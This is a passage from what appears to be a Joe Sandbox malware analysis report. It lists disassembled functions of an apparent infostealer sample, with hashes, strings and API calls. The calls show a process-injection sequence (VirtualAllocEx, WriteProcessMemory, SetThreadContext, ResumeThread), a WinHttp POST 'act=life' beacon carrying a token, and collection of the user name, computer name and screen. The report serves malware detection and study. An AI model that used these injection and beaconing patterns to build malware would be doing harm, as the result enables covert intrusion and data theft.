CreateProcessAsUserA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 03B84EBB

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 308741ca3637b4def74947cdd87a0f3a40ed37b9d05d1f67706ed2889d3068f6
Instruction ID: 949ced7400cfb58b35c1c0b4cdb457d6460a1391d6f1978e1e2947ed7178ebdd
Opcode Fuzzy Hash: 308741ca3637b4def74947cdd87a0f3a40ed37b9d05d1f67706ed2889d3068f6
Instruction Fuzzy Hash: E4A13671E0021A9FDB14DFA9C8417EDBBF6FF48308F1481A9E818A7291DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 03B84C1C Relevance: 1.8, APIs: 1, Instructions: 265
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessAsUserA.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 03B84EBB

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 10f95f0e5cf09ea900439ed132b0cb289282e11b0e52ef95b374cf4ad5fabbeb
Instruction ID: f1437ef6e1f4cbad72a4d2f82548e07731472f3759128256f4759ad3b8f57d5c
Opcode Fuzzy Hash: 10f95f0e5cf09ea900439ed132b0cb289282e11b0e52ef95b374cf4ad5fabbeb
Instruction Fuzzy Hash: 08A13771E0021A9FDB14DFA9C8417EDBBB6FF48308F1481A9E818A7291DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 03B85221 Relevance: 1.6, APIs: 1, Instructions: 67
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 03B852B5

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ea18ca8dc79812f5b24ad1307b06fd37dd72664b4f9a379afc6eec4910ec1161
Instruction ID: 6c0ba23268f3cd10f0c37ea7f164b03a7acd02b924dab559404d691a82e8afd2
Opcode Fuzzy Hash: ea18ca8dc79812f5b24ad1307b06fd37dd72664b4f9a379afc6eec4910ec1161
Instruction Fuzzy Hash: E421F4B2901259DFDB10CFAAC985BDEBBF5FB48314F14842AE918A3250D774A954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 03B85228 Relevance: 1.6, APIs: 1, Instructions: 65
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 03B852B5

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 788adf5a4004a3aff553357c9328f88d37bca018a0e3231b2009dde47244f724
Instruction ID: 2a7cf2c342eb84e2ad02163bab06d66ce3faf39ed24205d71d24dc59e043d591
Opcode Fuzzy Hash: 788adf5a4004a3aff553357c9328f88d37bca018a0e3231b2009dde47244f724
Instruction Fuzzy Hash: 5B2100B1900349DFDB10DF9AC885BDEBBF4FB48324F10842AE918A3250D778A954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 03B852F8 Relevance: 1.6, APIs: 1, Instructions: 62
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?), ref: 03B8537A

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 27fc99d1482285f3fe7f9b25810be50b573e0eb2489aabe398998e6a5e011a34
Instruction ID: 58d8a6ea8c865b8d8866bb10792289062c4661931d89fc7c70fda1a70a166fa4
Opcode Fuzzy Hash: 27fc99d1482285f3fe7f9b25810be50b573e0eb2489aabe398998e6a5e011a34
Instruction Fuzzy Hash: CB2129B2D002199FDB10CF9AC845BEEFBB4FB49710F14812AE518A3240D3B4A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 03B85300 Relevance: 1.6, APIs: 1, Instructions: 59
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?), ref: 03B8537A

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8acbb3f7517a6aa333cb80d1c10c4201a019428161bc731ddbc3fb0f33c66d39
Instruction ID: d28376965909b9906388b7726c5329dd3deb4dab91170c5b1424277c549e5df1
Opcode Fuzzy Hash: 8acbb3f7517a6aa333cb80d1c10c4201a019428161bc731ddbc3fb0f33c66d39
Instruction Fuzzy Hash: 142138B1D0021A9FDB10DF9AC445BDEFBF4FB49710F14812AE518A3240D3B8A950CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 03B85000 Relevance: 1.6, APIs: 1, Instructions: 58
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64GetThreadContext.KERNEL32(?,00000000), ref: 03B85077

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 348eec066e94b5c88b18cd0470d3b6f27f84070b956f8c8b313d61e4113797eb
Instruction ID: b8432ffe3c029fc36f49d9f1bac908ea1c526aa6e2be47d1a458fe9d7dab5dab
Opcode Fuzzy Hash: 348eec066e94b5c88b18cd0470d3b6f27f84070b956f8c8b313d61e4113797eb
Instruction Fuzzy Hash: 902136B1D0021A9FDB10DF9AC845BEEFBF4FB49624F14816AD418B3240D378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03B850BF Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 03B85136

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 8158fc0431ae8714d895f697d2b77db9dcae7baa7fde33372a63cd2da9cdf65f
Instruction ID: 7a53d748b46db528ec241ab9e05f6bc6604557f100bbcb871ae1258c43a4ceec
Opcode Fuzzy Hash: 8158fc0431ae8714d895f697d2b77db9dcae7baa7fde33372a63cd2da9cdf65f
Instruction Fuzzy Hash: 1121E3B29002499FDB10DF9AC884BDEBBF5FB48324F14802AE918A3250D378A554CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03B850C0 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 03B85136

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: dc0fecd65c4e84fe91aaf424bc99b97e70becdad94bfefca45d143bceb4c25ab
Instruction ID: 7efec4112e8f77cff889c762d6708626b64169906d278722ac7c17985f1efc37
Opcode Fuzzy Hash: dc0fecd65c4e84fe91aaf424bc99b97e70becdad94bfefca45d143bceb4c25ab
Instruction Fuzzy Hash: AB21F2B29002499FDB10DF9AC884BDEFBF4FB48324F10802AE918A3250D378A554CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03B85179 Relevance: 1.6, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 03B851EB

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4ef2d4acb0faa6b8134d1ad65d3b8af56842692c2883e196eed69473ed2d7419
Instruction ID: f6e3b2cab41ef5e8bad2481bdb7e9494c75810545f4a6ba5600774d6a435101a
Opcode Fuzzy Hash: 4ef2d4acb0faa6b8134d1ad65d3b8af56842692c2883e196eed69473ed2d7419
Instruction Fuzzy Hash: E31116B6800249DFDB20DF9AC884BDEBBF5FF88324F208459E528A7210D375A550CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 03B853C0 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 03B8542A

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d7f5a8eb9239ef49e71bfefd16791c170ab001d784d6cf4d67b35db020d0198d
Instruction ID: 1e63f712b1c960c8306b933c280d4288a63983da436bd51e190117896d1eb394
Opcode Fuzzy Hash: d7f5a8eb9239ef49e71bfefd16791c170ab001d784d6cf4d67b35db020d0198d
Instruction Fuzzy Hash: E31106B28002498FDB20DF9AD485BDEFBF5FB88324F248459D518A7240D774A544CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 03B85180 Relevance: 1.5, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 03B851EB

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 84f779b0a3687d888d1910dcb1ae6c8b20e2ee064193680cfb04cde323ee2778
Instruction ID: 740077a8accf7586dd6c3ac70b12296e8d6ecf47079be719d3d70832f0f79a03
Opcode Fuzzy Hash: 84f779b0a3687d888d1910dcb1ae6c8b20e2ee064193680cfb04cde323ee2778
Instruction Fuzzy Hash: 0D11E3B6900249DFDB20DF9AC884BDEBBF4FB48324F208459E528A7250D775A554CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 03B853C8 Relevance: 1.5, APIs: 1, Instructions: 45
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 03B8542A

Memory Dump Source

Source File: 00000014.00000002.4281778198.0000000003B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 03B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3b80000_connect.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 36f28d9dc6e48dc74ab8a2d9534fc4f1e93d0074599c973d8974ab94f2a5f56b
Instruction ID: 4c8f28679f6dda7d8c1325e4d68361d5a5da5cc1d5a77dc4b5572c2105f22c27
Opcode Fuzzy Hash: 36f28d9dc6e48dc74ab8a2d9534fc4f1e93d0074599c973d8974ab94f2a5f56b
Instruction Fuzzy Hash: 491100B18003498FDB20DF9AD484B9EFBF8EB89324F24846AD518A7240D774A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 03C30050 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.4282008494.0000000003C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 03C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_3c30000_connect.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 473795353ad04e5be891236cbc251cac908f92bb38da3911491bc613852bfd6c
Instruction ID: bfcfe917481090ee1c2ef348246a7c2e628dcecb63ed4af85eb276256fdd8b18
Opcode Fuzzy Hash: 473795353ad04e5be891236cbc251cac908f92bb38da3911491bc613852bfd6c
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exePID: 6480, Parent PID: 1584COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4%
Total number of Nodes:	2000
Total number of Limit Nodes:	20

Executed Functions

Function 0042CE00 Relevance: 33.5, APIs: 11, Strings: 8, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 0042CE36
WinHttpOpen.WINHTTP ref: 0042CECB
WinHttpConnect.WINHTTP ref: 0042CF00
WinHttpOpenRequest.WINHTTP ref: 0042CF5A
WinHttpSendRequest.WINHTTP ref: 0042CFB3
WinHttpReceiveResponse.WINHTTP ref: 0042CFDA
WinHttpQueryDataAvailable.WINHTTP ref: 0042D015
WinHttpReadData.WINHTTP ref: 0042D0B2
WinHttpCloseHandle.WINHTTP ref: 0042D1E9
WinHttpCloseHandle.WINHTTP ref: 0042D202

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0042CEA0
P, xrefs: 0042CEF0
section, xrefs: 0042D152
Content-Type: application/x-www-form-urlencoded, xrefs: 0042CF67
name="atok" value=", xrefs: 0042D174
/api, xrefs: 0042CF27
POST, xrefs: 0042CF21
act=life, xrefs: 0042CF80

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Http$CloseDataHandleOpenRequest$AvailableConnectQueryReadReceiveResponseSend_strlen
String ID: /api$Content-Type: application/x-www-form-urlencoded$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36$P$POST$act=life$name="atok" value="$section
API String ID: 3418879690-691063197
Opcode ID: 1cd994501b80b663bcf5f23acfa268597d9bb414877afac28e034d9698f62d05
Instruction ID: a82fe23b021a31daa1eb6ff84f4607686432598fe85d7b3adf0d88821d97b136
Opcode Fuzzy Hash: 1cd994501b80b663bcf5f23acfa268597d9bb414877afac28e034d9698f62d05
Instruction Fuzzy Hash: BAC1B4B4508351DFD710DF29E18876EBBE0BB88348F50892EE49997250D7B9C58ACF4B

Uniqueness

Uniqueness Score: -1.00%

Function 00406490 Relevance: 9.1, APIs: 6, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 004064F5

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: cb6d22f5054bb0bc962861c8dd83d45c15f9a1a56cb15bb9ddf9d605061dbfed
Instruction ID: f1ce435f04245675865bc4ffc9873b2b87b11a1e248ac43a4890b6ac50e0ab16
Opcode Fuzzy Hash: cb6d22f5054bb0bc962861c8dd83d45c15f9a1a56cb15bb9ddf9d605061dbfed
Instruction Fuzzy Hash: 3F51CFB05083009FD700EF29D58875EBBE0BB88318F018A2EF49997291D7B9D5998F4B

Uniqueness

Uniqueness Score: -1.00%

Function 0045D6A1 Relevance: 4.5, APIs: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32(?,0046AFE0,004523FA,?,0046AFE0,00452531,004623E2,?,0046AFE0,0000000B,0000000B,?,004624A5,00000100,?,0046AFE0), ref: 0045D6A5
_free.LIBCMT ref: 0045D6DE
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,004624A5,00000100,?,0046AFE0,00000000,0000000B,0000000B,?,004623A2,?,?,?,00000002), ref: 0045D6E5

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free_free
String ID:
API String ID: 2716640707-0
Opcode ID: 7c8943279a8e7ca65d274a540b7cb83a591431ab6b1b18dd158c556d8cc28558
Instruction ID: 21b977bc1c6990823b4ba12b0fd0ab31da24cd13c0c12d7ff6bb18bcb1ce565d
Opcode Fuzzy Hash: 7c8943279a8e7ca65d274a540b7cb83a591431ab6b1b18dd158c556d8cc28558
Instruction Fuzzy Hash: 73E06C7750551166A121323A7C9996B194DCFC57767150127FC1991283AD584C0751AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045B391 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0045B525: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00458551,00000001,00000364,00000006,000000FF,?,?,?,004522AE,00459318), ref: 0045B566

_free.LIBCMT ref: 0045B400

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: ed3bd34655073e7c18eb9f1d0365a39b0480a86c0ef29cbef0eecd8aa98e35c3
Instruction ID: b61c951a4d04807cb8ed2df873bd1c64e4cbf4045a1740351c65a8bcfd38163d
Opcode Fuzzy Hash: ed3bd34655073e7c18eb9f1d0365a39b0480a86c0ef29cbef0eecd8aa98e35c3
Instruction Fuzzy Hash: D30166726003566BC320CF69C88198AFB98EB043B0F04062EED05B76C1E774AC14CBE8

Uniqueness

Uniqueness Score: -1.00%

Function 0045B525 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00458551,00000001,00000364,00000006,000000FF,?,?,?,004522AE,00459318), ref: 0045B566

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 41225f79db59c0d6b57b56eda7100f0713d354ee1cac2e1d1c3e9c719f370962
Instruction ID: a04ad34ffaa3fc5a3b7fce37970f21610cef2cee0b168ae732ab64fc0f864384
Opcode Fuzzy Hash: 41225f79db59c0d6b57b56eda7100f0713d354ee1cac2e1d1c3e9c719f370962
Instruction Fuzzy Hash: EAF02B3260022CB7DB191E635C02A1B3749DF823ABB448023BC0596283EB28DD0941EC

Uniqueness

Uniqueness Score: -1.00%

Function 00459A8F Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?), ref: 00459AC1

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e9369788f581e099a96f10868dd856969946a60ac45c85ed590cbf77d7d58183
Instruction ID: 9437b4b9539c7756ffd18aba0ca01817a06b70f720c1a108ee3b74726406bdb3
Opcode Fuzzy Hash: e9369788f581e099a96f10868dd856969946a60ac45c85ed590cbf77d7d58183
Instruction Fuzzy Hash: 6FE065311002A1E7D621267A9D05B9B76499FC13A7F190163FC0596293DB5CDC0942FD

Uniqueness

Uniqueness Score: -1.00%

Function 004462C0 Relevance: 1.5, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406490: ExitProcess.KERNEL32 ref: 004064F5

Part of subcall function 00401370: GetUserNameW.ADVAPI32 ref: 00401390
Part of subcall function 00401370: GetComputerNameW.KERNEL32 ref: 004013D6

ExitProcess.KERNEL32 ref: 004462EB

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ExitNameProcess$ComputerUser
String ID:
API String ID: 2645526963-0
Opcode ID: c9bc613f65dcab954b8514f4a0b6a27ff23275a488e3139c31a11f33e05b2e4a
Instruction ID: 85430b9e1d3eae2e3179ffd8a0793c4ecabba72afad34187b39a7164d39ef004
Opcode Fuzzy Hash: c9bc613f65dcab954b8514f4a0b6a27ff23275a488e3139c31a11f33e05b2e4a
Instruction Fuzzy Hash: 1DD022B0804200ABE6507FB39A0BB0E7AD85F03348F01083EF4C592282E9BCA00083FF

Uniqueness

Uniqueness Score: -1.00%

Function 004536D5 Relevance: 1.5, APIs: 1, Instructions: 11
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 004536E8

Part of subcall function 004592F2: RtlFreeHeap.NTDLL(00000000,00000000,?,004536ED,?), ref: 00459308
Part of subcall function 004592F2: GetLastError.KERNEL32(?,?,004536ED,?), ref: 0045931A

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: dce263dd2b66d3c46ff005e6ef609abf1673b38a8881bd7193a125253371cea2
Instruction ID: 6913b5e03d4e381e1f5ced95d48e776bf3f03c2e85c027414d86919b42f29f03
Opcode Fuzzy Hash: dce263dd2b66d3c46ff005e6ef609abf1673b38a8881bd7193a125253371cea2
Instruction Fuzzy Hash: 40C08C31000208FBCB009F4AC807A4E7BA8DB80368F208088F80017241CAB1EE049A80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040A6D0 Relevance: 33.7, APIs: 14, Strings: 5, Instructions: 497stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32 ref: 0040A7A9
lstrcatW.KERNEL32 ref: 0040A7C1
lstrlenW.KERNEL32 ref: 0040A7D1
lstrlenW.KERNEL32 ref: 0040A7EB
lstrlenW.KERNEL32 ref: 0040A954
lstrlenW.KERNEL32 ref: 0040A9E7

Strings

LOCK, xrefs: 0040ACA8
kernel32.dll, xrefs: 0040A6FE
!@, xrefs: 0040A8FE
\??\, xrefs: 0040A79C
ntdll.dll, xrefs: 0040A8A7, 0040AADA, 0040AE10

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcat
String ID: !@$LOCK$\??\$kernel32.dll$ntdll.dll
API String ID: 493641738-3540211561
Opcode ID: cde87d04a3d801f76c6c42aef9130e0cd5a96919a47f875b100e7e3daa7423df
Instruction ID: 94427f4aa95c90cd82ece8741718e8d6ca4eeb39c56baad921ce8cb877298bc7
Opcode Fuzzy Hash: cde87d04a3d801f76c6c42aef9130e0cd5a96919a47f875b100e7e3daa7423df
Instruction Fuzzy Hash: 6F223AB15097408FD304DF38C49561ABBE2AF89328F158A2EF9A9973D0D7B8D845CB47

Uniqueness

Uniqueness Score: -1.00%

Function 0042C740 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 271COMMON

Download Yara Rule

APIs

WinHttpOpen.WINHTTP ref: 0042C7B2
WinHttpCrackUrl.WINHTTP ref: 0042C82C
WinHttpConnect.WINHTTP ref: 0042C914
WinHttpOpenRequest.WINHTTP ref: 0042C96F
WinHttpSendRequest.WINHTTP ref: 0042C9BC

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36, xrefs: 0042C787
<, xrefs: 0042C7DD
GET, xrefs: 0042C940
<, xrefs: 0042C7D0

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Http$OpenRequest$ConnectCrackSend
String ID: <$<$GET$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
API String ID: 2632193879-3606546913
Opcode ID: 69f18526ac49321c77bbc3c93990880e44d186cb4d88443d0d8f3f9fd15ec2a3
Instruction ID: 58afe6ebf930efe18b4ed35802da6456e0675cae02a2748b6489b0690f51e9b9
Opcode Fuzzy Hash: 69f18526ac49321c77bbc3c93990880e44d186cb4d88443d0d8f3f9fd15ec2a3
Instruction Fuzzy Hash: 71C109B15093518FD314DF29D58831FBBE1BB88324F518A2EE4A9973D0D7788949CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 00446880 Relevance: 21.4, APIs: 14, Instructions: 421memoryCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32 ref: 004468F6
GetProcessHeap.KERNEL32 ref: 00446A26
HeapAlloc.KERNEL32 ref: 00446A41
GetProcessHeap.KERNEL32 ref: 00446B07
HeapAlloc.KERNEL32 ref: 00446B21
GetDC.USER32 ref: 00446B38
GetDIBits.GDI32 ref: 00446B88
ReleaseDC.USER32 ref: 00446BA0
GetProcessHeap.KERNEL32 ref: 00446BE8
HeapAlloc.KERNEL32 ref: 00446C02
GetProcessHeap.KERNEL32 ref: 00446CDE
HeapFree.KERNEL32 ref: 00446CF8
GetProcessHeap.KERNEL32 ref: 00446D03
HeapFree.KERNEL32 ref: 00446D1D

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Free$BitsObjectRelease
String ID:
API String ID: 332556478-0
Opcode ID: d526ec06db35d8b0b7b140d1eef4c65f2c920169ace2cb1ac8350e18d0b3eca3
Instruction ID: 173a3b4a4636c9f5a789d7dc3baa00f3265d4df3dc24c7885d1ea91b3f503132
Opcode Fuzzy Hash: d526ec06db35d8b0b7b140d1eef4c65f2c920169ace2cb1ac8350e18d0b3eca3
Instruction Fuzzy Hash: 4EF18D75A106118FDB08CF3CC89566ABBF2FF89320F15826AE565DB3E0D7749841CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5F0 Relevance: 7.7, Strings: 5, Instructions: 1492COMMON

Download Yara Rule

Strings

.(~, xrefs: 0040CB74
n\#|, xrefs: 0040C1BB
:{, xrefs: 0040BA47
=m7, xrefs: 0040C783
B&Ej, xrefs: 0040C1CB

Memory Dump Source

Source File: 00000015.00000002.4543088601.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_vbc.jbxd

Yara matches

Similarity

API ID:
String ID: .(~$=m7$B&Ej$n\#|$:{
API String ID: 0-2055212592
Opcode ID: 5298aefd747de69d89c564daf7e685768ad1d614aa8e1640a694b9b267fc1d83
Instruction ID: 0da1aa382aa0fee91a4cf418ac3621c2216fe650a0fe197c389c3cab59c56b61
